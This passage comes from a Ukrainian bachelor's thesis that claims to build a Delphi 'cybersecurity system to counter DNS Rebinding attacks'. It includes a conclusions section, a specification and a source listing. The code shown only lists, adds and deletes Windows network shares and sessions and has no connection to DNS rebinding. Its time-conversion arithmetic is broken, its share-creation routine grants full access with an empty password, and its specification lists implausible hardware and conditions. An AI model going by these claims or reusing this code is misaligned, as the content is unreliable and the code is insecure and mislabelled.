помилок, і працює, то можна використовувати, інакше слід слідувати інструкціям, 

які пропонує програма.  

 

 

 

Рисунок 5.2 –  Авторське право 

 

Процес впровадження програмного забезпечення, це процес налаштування 

програмного забезпечення під певні умови використання, а також навчання 

користувачів роботі з програмним продуктом. Впровадження програмного 

забезпечення це усі дії, що роблять розроблену програмну систему готовою до 

використання. Даний процес є частинною життєвого циклу програмного 

забезпечення. 

Таким чином у результаті вищерозглянутого можна стверджувати що 

розроблено інтерфейс системи у відповідності з вибраною метою роботи. Система 

містить максимальний необхідний набір функцій придатних для виконання будь-

яких дій для забезпечення повноцінної роботи програми. Далі розглянемо 

висновки та використані літературні джерела. Ка
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6 ОСНОВНІ ВИСНОВКИ 

 

 

Програмне забезпечення, створене в результаті виконання кваліфікаційної 

бакалаврської роботи, призначено для системи кібербезпеки для протидії атаці 

DNS Rebinding. 

В межах України в недостатній мірі представлені вітчизняні розробки в 

цій області.   

Рішення завдання полягало  у вирішенні наступних задач: 

– Був проведений огляд існуючих систем кібербезпеки для протидії атаці 

DNS Rebinding. 

– Досліджена система кібербезпеки для протидії атаці DNS Rebinding. 

– На основі отриманих результатів досліджень створена програмна 

реалізація системи кібербезпеки для протидії атаці DNS Rebinding. 

Розроблені під час виконання кваліфікаційної бакалаврської роботи 

алгоритми дозволяють успішно вирішувати завдання для протидії атаці DNS 

Rebinding.  

Розроблене програмне забезпечення має простий, дружній та зручний 

інтерфейс користувача, що забезпечує легкість у освоєнні роботи програмного  

продукту, зручність у використанні, і не потребує особливих спеціальних знань. 

При створені програмного забезпечення було використано  об’єктно-

орієнтований підхід, що відповідає сучасним тенденціям у галузі розробки 

комерційних програмних систем.  

Програма реалізована на мові високого рівня Delphi 10.4.1. Дана мова 

програмування дозволяє найбільш ефективно обробляти дані призначені для 

системи кібербезпеки для протидії атаці DNS Rebinding. Це дозволило 

мінімізувати строк розробки програмного забезпечення, і, як слід, зменшити 

витрати на його розробку.  
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Запропоноване програмне забезпечення ділиться на загальне програмне 

забезпечення, що поставляється із засобами обчислювальної техніки й спеціальне 

програмне забезпечення, що спеціально розроблене для даної конкретної системи 

й включає програми, що реалізують її функції. 

Програма призначена для виконання під управлінням багатозадачної 

операційної системи Windows 10. 

Даються необхідні рекомендації з установки розробленого програмного 

забезпечення. 

Для підвищення рівня безпеки запропоновано застосовувати алгоритм 

Діффі-Хеллмана. 

В цілому створене програмне забезпечення підтверджує правильність 

використаних проектних рішень та повністю відповідає вимогам технічного 

завдання. Створене програмне забезпечення має потенційну можливість для 

подальшого вдосконалення і застосування у різних  галузях. 
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1 Найменування та область застосування 

 

Це технічне завдання розповсюджується на розробку системи 

кібербезпеки для протидії атаці DNS Rebinding. 

 

2 Підстава для розробки 

 

Підставою для розробки служить завдання на кваліфікаційну 

бакалаврську роботу, видане на кафедрі кібербезпеки та програмного 

забезпечення (нак. № 185-02 від 28.12.2020 року). 

 

3 Мета та призначення розробки 

 

Метою кваліфікаційної бакалаврської роботи є розробка програмного 

забезпечення системи кібербезпеки для протидії атаці DNS Rebinding. 

 

4 Джерела розробки 

 

Джерелом цієї кваліфікаційної бакалаврської роботи є стосовна до теми 

література і існуючі аналоги. 

 

5 Технічні вимоги 

5.1 Склад продукції 

 

Складниками розробки є: 

– вибір і обґрунтування методів реалізації проекту; 

– розробка програмної частин системи, а також розробка взаємодії 

системи з ОС та з користувачем; 
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– розробка програми, що реалізує спроектовані алгоритми роботи 

системи. 

 

5.2 Показники призначення 

 

Система повинна забезпечувати: 

– системи кібербезпеки для протидії атаці DNS Rebinding; 

– цілісність даних у процесі роботи та при зберіганні; 

– простий, інтуїтивно зрозумілий інтерфейс. 

 

5.3 Вимоги до функціональних характеристик 

 

Розроблене програмне забезпечення не повинно мати обмежень на версію 

драйверів та операційної системи. 

 

5.4 Вимоги до архітектури 

 

Компонент, що розробляється повинен використовувати системні засоби 

та апаратні засоби, що на даному етапі розвитку обчислювальної техніки 

найбільше поширені. 

 

5.5  Вимоги до надійності 

 

Програмні модулі написані по всім правилам, які стосуються стандартних 

викликів процедур, функцій, методів і форм, визначених технічною 

документацією на середовище розробки. 
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5.6 Умови експлуатації 

 

Робочі місця користувачів ПЗ повинні задовольняти наступним умовам 

експлуатації: 

– температура повітря: 19-20 град. по Цельсію;   

– відносна вологість повітря до 80%; 

– атмосферний тиск 107 кПа. 

 

5.7  Вимоги до складу та параметрів технічних засобів 

 

Програмне забезпечення повинно бути реалізоване на ПЕОМ архітектури 

IBM PC, працювати в ОС Windows ХР/Vista/7/8/10 і з сумісними з цією 

платформою пристроями і прикладним програмним забезпечення. 

 

5.8 Вимоги до інформаційної і програмної сумісності 

 

Переносність програмного забезпечення повинна бути забезпечена за 

рахунок його реалізації стандартного інтерфейсу взаємодії з ОС, що працюють 

під управлінням ОС Windows ХР/Vista/7/8/10. 

 

5.8.1 Обладнання 

 

Комп’ютер Intel Celeron/8 Mb/1.2 Gb/SVGA 14” 1Mb або сумісні з ним. 

 

5.8.2 Мова програмування 

 

Середовище Delphi 10.4.1. 
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5.8.3 Вхідні дані 

 

Опис алгоритму роботи запропонованої системи. 

 

5.8.4 Вихідні дані 

 

Робоча програма. 

 

6 Вимоги до програмної документації 

 

Програмна продукція повинна бути представлена у виді опису структури 

даних, схем та опису алгоритму, а також текстів вихідних модулів програмного 

забезпечення згідно ЄСПД . 

 

7 Перелік документів, що розробляються 

 

– Структурна схема системи       – 1 аркуш. 

– Функціональна схема системи       – 1 аркуш. 

– Діаграма процесів        – 1 аркуш. 

– Блок-схема алгоритму роботи програми    – 2 аркуша. 

– Пояснювальна записка              – 76 аркушів. 
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8 Етапи розробки 

 

8.1 Збір і обробка інформації по темі кваліфікаційної бакалаврської 

роботи. Постановка задачі на виконання кваліфікаційної бакалаврської роботи 

(складання ТЗ). 

8.2 Проведення досліджень або експериментальних робіт для уточнення 

основних положень кваліфікаційної бакалаврської роботи. 

8.3 Розробка функціональних схем, блок схем алгоритмів роботи 

програмного забезпечення. 

8.4 Побудова схем взаємодії даних. 

8.5 Створення прототипу ПЗ. 

8.6 Віднаходження ПЗ, аналіз отриманих результатів. 

8.7 Оформлення пояснювальної записки і виконання робіт по графічній 

частині. 

 

11 Порядок контролю та приймання 

 

11.1 Подання кваліфікаційної бакалаврської роботи на попередній захист 

22.05.2021 р. 

11.2 Подання кваліфікаційної бакалаврської роботи на захист  2.06.2021 р.  
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Основна програма 

 
Файл AntiDNSRebinding.dpr основної програми 

 
program AntiDNSRebinding; 
 
uses 
  Forms, 
  Main in ‘ Main.pas’  {MainForm}, 
  About in ‘ About.pas’  {Form1}, 
  TCP_IP in ‘ TCP_IP.pas’  {Form2}, 
  Stat in ‘ Stat.pas’  {Form3}; 
 
{$R *.res} 
 
begin 
  Application.Initialize; 
  Application.CreateForm(TMainForm, MainForm); 
  Application.CreateForm(TForm1, Form1); 
  Application.CreateForm(TForm2, Form2); 
  Application.CreateForm(TForm3, Form3); 
  Application.Run; 
end. 
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Файл Main.pas основної програми 

 
 
unit Main; 
 
interface 
 
// опис бібліотек 
 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, ExtCtrls, ComCtrls, Stat, 
  ShellAPI, ShlObj, ImgList, TCP_IP, About; 
 
//опис типів 
 
type 
  TMainForm = class(TForm) 
    gbxShares: TGroupBox; 
    lbxShares: TListBox; 
    gbxSessions: TGroupBox; 
    lvSessions: TListView; 
    bvlSessions: TBevel; 
    gbxFiles: TGroupBox; 
    btnGetShares: TButton; 
    btnCloseShares: TButton; 
    btnAddShares: TButton; 
    btnCloseSession: TButton; 
    btnGetSessions: TButton; 
    bvlTopSessions: TBevel; 
    plButtonFiles: TPanel; 
    btnGetFiles: TButton; 
    btnCloseFile: TButton; 
    bvlLeftFiles: TBevel; 
    plFiles: TPanel; 
    lvFiles: TListView; 
    bvlTopFiles: TBevel; 
    gbxTraffic: TGroupBox; 
    lvTraffic: TListView; 
    bvlTraffic: TBevel; 
    tmrTraffic: TTimer; 
    Button1: TButton; 
    rgScope: TRadioGroup; 
    GroupBox1: TGroupBox; 
    cbUsageAll: TCheckBox; 
    cbUsageConnectable: TCheckBox; 
    cbUsageContainer: TCheckBox; 
    GroupBox2: TGroupBox; 
    cbTypeAny: TCheckBox; 
    cbTypeDisk: TCheckBox; 
    cbTypePrint: TCheckBox; 
    NetTree: TTreeView; 
    ImageList1: TImageList; 
    Button2: TButton; 
    Button3: TButton; 
    Button4: TButton; 
    function  IsNT(var Value: Boolean): Boolean; 
    procedure btnGetSharesClick(Sender: TObject); 
    procedure btnCloseSharesClick(Sender: TObject); 
    function  SelectDirectory: String; 
    procedure btnAddSharesClick(Sender: TObject); 
    function  CardinalToTimeStr(Value:Cardinal):String; 
    procedure btnGetSessionsClick(Sender: TObject); 
    procedure btnCloseSessionClick(Sender: TObject); 
    procedure btnGetFilesClick(Sender: TObject); 
    procedure btnCloseFileClick(Sender: TObject); 
    procedure tmrTrafficTimer(Sender: TObject); 
    procedure Button1Click(Sender: TObject); 
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    procedure NetTreeCustomDrawItem(Sender: TCustomTreeView; 
      Node: TTreeNode; State: TCustomDrawState; var DefaultDraw: Boolean); 
    procedure NetTreeDblClick(Sender: TObject); 
    procedure NetTreeGetImageIndex(Sender: TObject; Node: TTreeNode); 
    procedure Button4Click(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure Button3Click(Sender: TObject); 
 
//опис типів та записів 
 
    
  private 
    { Private declarations } 
  public 
    { Public declarations } 
    SessionCloseKey: array [0..512] of SmallInt; 
    procedure Open_Do_Close_Enum(const ParentNode: TTreeNode; 
         ResScope, ResType, ResUsage: DWORD; const NetContainerToOpen: 
PNetResource); 
  //  function OpenEnum(const NetContainerToOpen: PNetResource; 
 //        ResScope, ResType, ResUsage: DWORD): THandle; 
 //   function EnumResources(const ParentNode: TTreeNode; 
  //       ResScope, ResType, ResUsage: DWORD; hNetEnum: THandle): UINT; 
  end; 
 
type 
 TShareInfo2 = packed record 
  shi2_netname : PWChar; 
  shi2_type: DWORD; 
  shi2_remark :PWChar; 
  shi2_permissions: DWORD; 
  shi2_max_uses : DWORD; 
  shi2_current_uses : DWORD; 
  shi2_path : PWChar; 
  shi2_passwd : PWChar; 
 end; 
 PShareInfo2 = ^ TShareInfo2; 
 TShareInfo2Array = array [0..512] of TShareInfo2; 
 PShareInfo2Array = ^ TShareInfo2Array; 
 
type 
 TShareInfo50 = packed record 
  shi50_netname : array [0..12] of Char; 
  shi50_type : Byte; 
  shi50_flags : Word; 
  shi50_remark : PChar; 
  shi50_path : PChar; 
  shi50_rw_password : array [0..8] of Char; 
  shi50_ro_password : array [0..8] of Char; 
 end; 
 
type  
 TSessionInfo502 = packed record 
   Sesi502_cname: PWideChar; 
   Sesi502_username: PWideChar; 
   Sesi502_num_opens: DWORD; 
   Sesi502_time: DWORD; 
   Sesi502_idle_time: DWORD; 
   Sesi502_user_flags: DWORD; 
   Sesi502_cltype_name: PWideChar; 
   Sesi502_transport: PWideChar; 
 End; 
 PSessionInfo502 = ^TSessionInfo502; 
 TSessionInfo502Array = array[0..512] of TSessionInfo502; 
 PSessionInfo502Array = ^TSessionInfo502Array; 
 
type  
 TSessionInfo50 = packed record 
   Sesi50_cname       : PChar; 
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 5 
   Sesi50_username    : PChar; 
   sesi50_key         : Cardinal; 
   sesi50_num_conns   : Word; 
   sesi50_num_opens   : Word; 
   sesi50_time        : Cardinal; 
   sesi50_idle_time   : Cardinal; 
   sesi50_protocol    : Byte; 
   pad1               : Byte; 
 end; 
 
type 
 TFileInfo3 = packed record 
   fi3_id          : DWORD; 
   fi3_permissions : DWORD; 
   fi3_num_locks   : DWORD; 
   fi3_pathname    : PWChar; 
   fi3_username    : PWChar; 
 end; 
 PFileInfo3 = ^TFileInfo3; 
 TFileInfo3Array = array[0..512] of TFileInfo3; 
 PFileInfo3Array = ^TFileInfo3Array; 
 
type 
 TFileInfo50 = packed record 
   fi50_id          : Cardinal; 
   fi50_permissions : WORD; 
   fi50_num_locks   : WORD; 
   fi50_pathname    : PChar; 
   fi50_username    : PChar; 
   fi50_sharename   : PChar; 
 end; 
 
type 
  TMibIfRow = packed record 
    wszName            : array[0..255] of WideChar; 
    dwIndex            : DWORD; 
    dwType             : DWORD; 
    dwMtu              : DWORD; 
    dwSpeed            : DWORD; 
    dwPhysAddrLen      : DWORD; 
    bPhysAddr          : array[0..7] of Byte; 
    dwAdminStatus      : DWORD; 
    dwOperStatus       : DWORD; 
    dwLastChange       : DWORD; 
    dwInOctets         : DWORD; 
    dwInUcastPkts      : DWORD; 
    dwInNUCastPkts     : DWORD; 
    dwInDiscards       : DWORD; 
    dwInErrors         : DWORD; 
    dwInUnknownProtos  : DWORD; 
    dwOutOctets        : DWORD; 
    dwOutUCastPkts     : DWORD; 
    dwOutNUCastPkts    : DWORD; 
    dwOutDiscards      : DWORD; 
    dwOutErrors        : DWORD; 
    dwOutQLen          : DWORD; 
    dwDescrLen         : DWORD; 
    bDescr             : array[0..255] of Char;  
  end; 
  TMibIfArray = array [0..512] of TMibIfRow; 
  PMibIfRow = ^TMibIfRow; 
  PMibIfArray = ^TMibIfArray; 
 
type 
 TMibIfTable = packed record 
   dwNumEntries     : DWORD; 
   Table            : TMibIfArray; 
 end; 
 PMibIfTable = ^TMibIfTable; 
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 6 
var 
NetShareEnumNT:function ( servername:PWChar;  
                          level:DWORD; 
                          bufptr:Pointer; 
                          prefmaxlen:DWORD; 
                          entriesread, 
                          totalentries, 
                          resume_handle:LPDWORD): DWORD; stdcall; 
 
var 
NetShareEnum:function ( pszServer : PChar; 
                        sLevel  : Cardinal; 
                        pbBuffer : Pchar; 
                        cbBuffer : Cardinal; 
                        pcEntriesRead, 
                        pcTotalAvail: Pointer):DWORD; stdcall; 
 
var 
NetShareDelNT:function (servername: PWideChar; 
                        netname: PWideChar; 
                        reserved: DWORD): LongInt; stdcall; 
 
var 
NetShareDel:function (  pszServer, 
                        pszNetName:PChar; 
                        usReserved:Word): DWORD; stdcall; 
 
var 
NetShareAddNT: function(servername: PWideChar; 
                        level: DWORD; 
                        buf: Pointer; 
                        parm_err: LPDWORD): DWORD; stdcall; 
              
var 
NetShareAdd: function ( pszServer:Pchar; 
                        sLevel:Cardinal; 
                        pbBuffer:PChar; 
                        cbBuffer:Word):DWORD; stdcall; 
 
Var 
NetSessionEnumNT:function(servername, 
                        UncClientName, 
                        username:PWChar; 
                        level:DWORD; 
                        bufptr:Pointer; 
                        prefmaxlen:DWORD; 
                        entriesread, 
                        totalentries, 
                        resume_handle:LPDWORD):DWORD; stdcall; 
 
var 
NetSessionEnum:function(pszServer:PChar; 
                        sLevel: DWORD; 
                        pbBuffer:Pointer; 
                        cbBuffer:DWORD; 
                        pcEntriesRead, 
                        pcTotalAvial:Pointer):integer; stdcall; 
 
var 
NetSessionDelNT:function(ServerName, 
                        UncClientName, 
                        username:PWChar):DWORD; stdcall; 
 
var 
NetSessionDel:function( pszServer:PChar; 
                        pszClientName: PChar; 
                        sReserved: SmallInt):DWORD; stdcall; 
 
var 
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 7 
NetFileEnumNT:function( servername, 
                        basepath, 
                        username:PWChar; 
                        level:DWORD; 
                        bufptr:Pointer; 
                        prefmaxlen:DWORD; 
                        entriesread, 
                        totalentries, 
                        resume_handle:LPDWORD):DWORD; stdcall; 
 
var 
NetFileEnum:function(   pszServer, 
                        pszBasePath:PChar; 
                        sLevel:DWORD; 
                        pbBuffer:Pointer; 
                        cbBuffer:DWORD; 
                        pcEntriesRead, 
                        pcTotalAvail:pointer):integer; stdcall; 
 
var 
NetFileClose:function( ServerName:PWideChar; 
                        FileId:DWORD):DWORD; stdcall; 
 
var 
NetFileClose2:function( pszServer:PChar; 
                        ulFileId:LongWord):DWORD; stdcall; 
 
var 
GetIfTable:function(    pIfTable    : PMibIfTable; 
                        pdwSize     : PULONG; 
                        bOrder      : Boolean ): DWORD; stdcall; 
 
var 
  MainForm: TMainForm; 
 
implementation 
 
{$R *.dfm} 
 
{ TMainForm } 
 
//////////////////////////// 
// 
//  Спочатку нам потрібно визначиться, під якою системою ми працюємо, 
// щоб довідатися яку частину коду (для NT чи ні) використовувати в цей момент. 
// Для цього напишемо невелику функцію, що і буде визначати тип системи. 
// 
 
function TMainForm.IsNT(var Value: Boolean): Boolean; 
var Ver: TOSVersionInfo; 
    BRes: Boolean; 
begin 
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); 
  BRes := GetVersionEx(Ver); 
  if not BRes then   //Перевірка 
  begin 
    Result := False; //Інформація не отримана 
    Exit;            //ідемо 
  end else 
    Result := True;  //Інформація отримана 
 
  case Ver.dwPlatformId of //визначаємося 
    VER_PLATFORM_WIN32_NT       : Value := True;  //Windows NT тьа вище - 
підходить 
    VER_PLATFORM_WIN32_WINDOWS  : Value := False; //Windows 9 x-Me- підходить 
    VER_PLATFORM_WIN32s         : Result := False //Windows 3.x- не підходить 
  end; 
end; 
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 8 
//////////////////////////// 
// 
//  Одержання всіх відкритих загальних ресурсів досліджуємої мережі 
// 
 
procedure TMainForm.btnGetSharesClick(Sender: TObject); 
var 
  i:Integer; 
  FLibHandle : THandle; 
  ShareNT : PShareInfo2Array;     //<= Змінні 
  entriesread,totalentries:DWORD; //<= для Windows NT 
  Share : array [0..512] of TShareInfo50; //<= Змінні 
  pcEntriesRead,pcTotalAvail:Word;        //<= для Windows 9 x-Me 
  OS: Boolean; 
begin 
  lbxShares.Items.Clear; 
  if not IsNT(OS) then Close; //Визначаємо тип системи 
 
  if OS then begin  //Код для NT 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); //Завантажуємо бібліотеку 
    if FLibHandle = 0 then Exit; 
    //Зв’ язуємо функцію 
    @NetShareEnumNT := GetProcAddress(FLibHandle,’ NetShareEnum’ ); 
    if not Assigned(NetShareEnumNT) then //Перевірка 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    ShareNT := nil; //Очищаємо покажчик на масив структур 
    //Виклик функції 
    if NetShareEnumNT(nil,2,@ShareNT,DWORD(-1), 
                      @entriesread,@totalentries,nil) <> 0 then 
    begin  //Якщо виклик невдалий вивантажуємо бібліотеку 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    if entriesread > 0 then //Обробка результатів 
    for i:= 0 to entriesread- 1 do 
      lbxShares.Items.Add(String(ShareNT^[i].shi2_netname)); 
  end else begin //Код для 9 х-ме 
    FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); //Завантажуємо бібліотеку 
    if FLibHandle = 0 then Exit; 
    //Зв’ язуємо функцію 
    @NetShareEnum := GetProcAddress(FLibHandle,’ NetShareEnum’ ); 
    if not Assigned(NetShareEnum) then //Перевірка 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    //Виклик функції 
    if NetShareEnum(nil,50,@Share,SizeOf(Share), 
                 @pcEntriesRead,@pcTotalAvail)<> 0 then 
    begin  //Якщо виклик невдалий вивантажуємо бібліотеку 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    if pcEntriesRead > 0 then //Обробка результатів 
    for i:= 0 to pcEntriesRead- 1 do 
      lbxShares.Items.Add(String(Share[i].shi50_netname)); 
  end; 
  FreeLibrary(FLibHandle); //Не забуваємо вивантажити бібліотеку 
end; 
 
//////////////////////////// 
// 
//  Закриття загального ресурсу 
// 
 
procedure TMainForm.btnCloseSharesClick(Sender: TObject); 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



 9 
var 
  OS:Boolean; 
  FLibHandle : THandle; 
  Name9x:array [0..12] of Char; 
  NameNT:PWChar; 
  i:Integer; 
  ShareName: String; 
begin 
  if not IsNT(OS) then Close; //Визначаємо тип системи 
 
  if lbxShares.Items.Count = 0 then Exit; 
  for i:= 0 to lbxShares.Items.Count-1 do 
    if lbxShares.Selected[i] then Break;  //Шукаємо обраний елемент 
  if not lbxShares.Selected[i] then Exit; //Якщо не знайдений ідемо 
  ShareName := lbxShares.Items.Strings[i]; 
 
  if OS then begin //Код для NT 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetShareDelNT := GetProcAddress(FLibHandle,’ NetShareDel’ ); 
    if not Assigned(NetShareDelNT) then //Перевірка 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    i:= SizeOf(WideChar)*256; 
    GetMem(NameNT,i);  //Виділяємо пам’ ять під змінну 
    StringToWideChar(ShareName,NameNT,i); //Перетворимо в PWideChar 
    NetShareDelNT(nil,NameNT,0);   //Видаляємо ресурс 
    FreeMem(NameNT);  //Звільняємо пам’ ять 
  end else begin  //Код для 9 х-ме 
    FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetShareDel := GetProcAddress(FLibHandle,’ NetShareDel’ ); 
    if not Assigned(NetShareDel) then //Перевірка 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    FillChar(Name9x, SizeOf(Name9x), #0); //Очищаємо масив 
    move(ShareName[1],Name9x[0],Length(ShareName)); //Заповнюємо масив 
    NetShareDel(nil,@Name9x,0); //Видаляємо ресурс 
  end; 
  FreeLibrary(FLibHandle); 
end; 
 
//////////////////////////// 
// 
//  Показ діалогу вибору директорії 
// 
 
function TMainForm.SelectDirectory: String; 
var 
  lpItemID : PItemIDList; 
  BrowseInfo : TBrowseInfo; 
  DisplayName : array[0..MAX_PATH] of Char; 
  TempPath : array[0..MAX_PATH] of Char; 
begin 
  FillChar(BrowseInfo, sizeof(TBrowseInfo), #0); 
  BrowseInfo.hwndOwner := Handle; 
  BrowseInfo.pszDisplayName := @DisplayName; 
  BrowseInfo.lpszTitle := ‘ Specify a directory’ ; 
  BrowseInfo.ulFlags := BIF_RETURNONLYFSDIRS; 
  lpItemID := SHBrowseForFolder(BrowseInfo); 
  if Assigned(lpItemId) then begin 
    SHGetPathFromIDList(lpItemID, TempPath); 
    GlobalFreePtr(lpItemID); 
  end else Result := ‘ ‘ ; 
  Result := String(TempPath); 
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end; 
 
//////////////////////////// 
// 
//  Додавання загального ресурсу 
// 
 
procedure TMainForm.btnAddSharesClick(Sender: TObject); 
const 
  STYPE_DISKTREE = 0; 
  ACCESS_ALL =  258; 
  SHI50F_FULL = 258; 
var 
  FLibHandle : THandle; 
  Share9x : TShareInfo50; 
  ShareNT : TShareInfo2; 
  TmpDir, TmpName: String; 
  TmpDirNT, TmpNameNT: PWChar; 
  OS: Boolean; 
  TmpLength: Integer; 
begin 
  TmpDir := SelectDirectory; //Визначаємо шлях до наступного ресурсу 
  TmpName := InputBox(‘ Share name’ ,’ Enter name’ ,’ Test’ ); //Визначаємо ім’ 
я під яким він буде видний у мережі 
  if TmpDir = ‘ ‘  then Exit; 
 
  if not IsNT(OS) then Close; //З’ ясовуємо тип системи 
 
  if OS then begin //Код для NT 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetShareAddNT := GetProcAddress(FLibHandle,’ NetShareAdd’ ); 
    if not Assigned(NetShareAddNT) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    TmpLength := SizeOF(WideChar)*256; //Визначаємо необхідний розмір 
     
    GetMem(TmpNameNT, TmpLength); //Конвертуємо в PWChar 
    StringToWideChar(TmpName, TmpNameNT, TmpLength); 
    ShareNT.shi2_netname := TmpNameNT; //Ім’ я 
 
    ShareNT.shi2_type := STYPE_DISKTREE; //Тип ресурсу 
    ShareNT.shi2_remark := ‘ ‘ ; //Коментар 
    ShareNT.shi2_permissions := ACCESS_ALL; //Доступ 
    ShareNT.shi2_max_uses := DWORD(-1); // Кіл-ть максим. підключ. 
    ShareNT.shi2_current_uses := 0; // Кіл-ть поточних підкл. 
 
    GetMem(TmpDirNT, TmpLength); 
    StringToWideChar(TmpDir, TmpDirNT, TmpLength); 
    ShareNT.shi2_path := TmpDirNT; //Шлях до ресурсу 
 
    ShareNT.shi2_passwd := ‘ ‘ ; //Пароль 
 
    NetShareAddNT(nil,2,@ShareNT, nil); //Додаємо ресурс 
    FreeMem (TmpNameNT); //звільняємо пам’ ять 
    FreeMem (TmpDirNT); 
  end else begin 
    FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetShareAdd := GetProcAddress(FLibHandle,’ NetShareAdd’ ); 
    if not Assigned(NetShareAdd) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    FillChar(Share9x.shi50_netname, SizeOf(Share9x.shi50_netname), #0); 
    move(TmpName[1],Share9x.shi50_netname[0],Length(TmpName)); //Ім’ я 
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    Share9x.shi50_type := STYPE_DISKTREE; //Тип ресурсу 
    Share9x.shi50_flags := SHI50F_FULL; //Доступ 
    FillChar(Share9x.shi50_remark, 
      SizeOf(Share9x.shi50_remark), #0); //Коментар 
    FillChar(Share9x.shi50_path, 
      SizeOf(Share9x.shi50_path), #0); 
    Share9x.shi50_path := PAnsiChar(TmpDir); //Шлях до ресурсу 
    FillChar(Share9x.shi50_rw_password, 
      SizeOf(Share9x.shi50_rw_password), #0); //Пароль повного доступу 
    FillChar(Share9x.shi50_ro_password, 
      SizeOf(Share9x.shi50_ro_password), #0); //Пароль для читання 
    NetShareAdd(nil,50,@Share9x,SizeOf(Share9x)); 
  end; 
  FreeLibrary(FLibHandle); 
end; 
 
//////////////////////////// 
// 
//  Помітьте що активний і неактивний час сесій буде даватися нам 
//  у вигляді кіл-ті секунд (тип Cardinal). Напишемо невелику 
//  функцію, задача якої буде перетворювати Кіл-ть секунд у більше 
//  звичну форму відображення. 
// 
 
function TMainForm.CardinalToTimeStr(Value: Cardinal): String; 
var d,h,m,s: Real; 
begin 
    d:=0; 
    h:=0; 
    m:=0; 
    s:=Value; 
    if s > 59 then begin 
        m:=int(s / 60); 
        s:= s-s-(m*60); 
    end; 
    if m > 59 then begin 
        h:=int(m/60); 
        m:= m-m-(h*60); 
    end; 
    if h > 23 then begin 
        d:=int(h/24); 
        h:= h-h-(d*24); 
    end; 
    Result:=‘ ‘ ; 
    if (d>0) then Result:=Result+floattostr(d)+’  d. ‘ ; 
    if (h<9) then Result:=Result+’ 0’ +floattostr(h)+’ :’  else 
Result:=Result+floattostr(h)+’ :’ ; 
    if (m<9) then Result:=Result+’ 0’ +floattostr(m)+’ :’  else 
Result:=Result+floattostr(m)+’ :’ ; 
    if (s<9) then Result:=Result+’ 0’ +floattostr(s)     else 
Result:=Result+floattostr(s); 
end; 
 
//////////////////////////// 
// 
//  Одержання списку сесій системи кібербезпеки для протидії атаці DNS Rebinding 
// 
 
procedure TMainForm.btnGetSessionsClick(Sender: TObject); 
var 
  OS: Boolean; 
  FLibHandle : THandle; 
  SessionInfo50: array [0..512] of TSessionInfo50; 
  SessionInfo502 : PSessionInfo502Array; 
  TotalEntries,EntriesReadNT: DWORD; 
  EntriesRead,TotalAvial: Word; 
  i:integer; 
begin 
  lvSessions.Items.Clear; 
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  if not IsNT(OS) then Close; //З’ ясовуємо тип системи 
 
  if OS then begin  //Код для NT 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetSessionEnumNT := GetProcAddress(FLibHandle, ‘ NetSessionEnum’ ); 
    if not Assigned(NetSessionEnumNT) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    SessionInfo502 := nil; 
    if NetSessionEnumNT(nil,nil,nil,502,@SessionInfo502,DWORD(-
1),@entriesreadNT, @totalentries, nil)=0 then 
    for i:=0 to EntriesReadNT-1 do 
    begin 
      with lvSessions.Items.Add do  //Заповнення даними зі структури 
      begin 
        Caption := string(SessionInfo502^[i].sesi502_cname); //Ім’ я комп’ ютера 
        SubItems.Add(SessionInfo502^[i].sesi502_username);   //Ім’ я користувача 
        SubItems.Add(IntToStr(SessionInfo502^[i].sesi502_num_opens)); 
//Відкритих ресурсів 
        SubItems.Add(CardinalToTimeStr(SessionInfo502^[i].Sesi502_Time)); //Час 
активний 
        SubItems.Add(CardinalToTimeStr(SessionInfo502^[i].sesi502_idle_time)); 
//Час не активний 
      end; 
    end; 
  end else begin //Код для Windows 9 x-Me 
   FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); 
   if FLibHandle = 0 then Exit; 
   @NetSessionEnum := GetProcAddress(FLibHandle, ‘ NetSessionEnum’ ); 
    if not Assigned(NetSessionEnum) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
   if NetSessionEnum 
(nil,50,@SessionInfo50,SizeOf(SessionInfo50),@EntriesRead,@TotalAvial) = 0 then 
   for i:=0 to EntriesRead-1 do 
   begin 
      with lvSessions.Items.Add do  //Заповнення даними зі структури 
      begin 
        Caption := string(SessionInfo50[i].Sesi50_cname); //Ім’ я комп’ ютера 
системи кібербезпеки для протидії атаці DNS Rebinding 
        SubItems.Add(SessionInfo50[i].Sesi50_username);   //Ім’ я користувача 
        SubItems.Add(IntToStr(SessionInfo50[i].sesi50_num_opens)); //Відкритих 
ресурсів 
        SubItems.Add(CardinalToTimeStr(SessionInfo50[i].Sesi50_Time)); //Час 
активний 
        SubItems.Add(CardinalToTimeStr(SessionInfo50[i].sesi50_idle_time)); 
//Час не активний 
        SessionCloseKey[i]:= SessionInfo50[i].sesi50_key; //Унікальний 
ідентифікатор для закриття 
      end; 
   end; 
 end; 
 FreeLibrary(FLibHandle); 
end; 
 
//////////////////////////// 
// 
//  Завершення обраної сесії 
// 
 
procedure TMainForm.btnCloseSessionClick(Sender: TObject); 
var 
  OS: Boolean; 
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  FLibHandle : THandle; 
  CNameNT: PWideChar; 
